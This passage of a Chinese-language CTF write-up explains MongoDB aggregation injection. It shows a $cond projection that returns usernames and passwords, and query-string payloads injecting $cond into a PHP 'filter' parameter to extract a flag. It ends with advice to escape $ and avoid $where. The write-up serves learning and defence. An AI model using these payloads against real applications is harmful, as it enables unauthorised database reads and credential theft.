,当使用多个判断条件时重复该语句即可。例如:
db.users.aggregate(
[
{
$project:
{
"authority":
{
$cond: { if : { $eq :["$username","admin"]}, then : "$username" , else: "employee"}
},
"checkpass":"$password"}
}
]
);
先是对 $username
和 $password
重命名为 authority 和 checkpass,当 $username
检测为 admin
时, 返回 $username
本身的值, 其余则返回字符串 employee
,后面则是直接输出与之对应的密码。
回顾本题,首先看 $pipline
,将 $category
重命名为 _id
,然后列出再排列再选取前5个数据输出,再看 $filter
,会把 $filter
输出的值重命名为 category,那我们可以在 $project
中插入 $cond
判断语句,通过if
条件语句带出值为 flags
的 $category
,其余则是输出字符串 *
,如下:
db.news.aggregate(
[
{
$project:
{
category:
{
$cond: { if: { $eq: [ "$category", "flags"] }, then: $title, else: "*" }
}
}
}
]
)
转成 php 数组形式传入filter 参数,当然测试后发现了排序问题,有些传过去会导致我们的 flags 排序靠后所以看不到
?filter[$cond][if][$eq][]=$category&filter[$cond][if][$eq][]=flags&filter[$cond][then]=$title&filter[$cond][else]=*
提示 This is a flag text
,然后修改 $title 为 $text
?filter[$cond][if][$eq][]=$category&filter[$cond][if][$eq][]=flags&filter[$cond][then]=$text&filter[$cond][else]=*
得到 flag
小结
对于外部拼接查询语句的内容,需对特殊字符严格过滤或转义,例如 $ 字符;对于 JavaScript 注入,$where 和 execute 方法尽量少用。
上述就是 MongoDB 特性注入的全部内容,如有不足,希望各位师傅踊跃提出!
发表评论
您还未登录,请先登录。
登录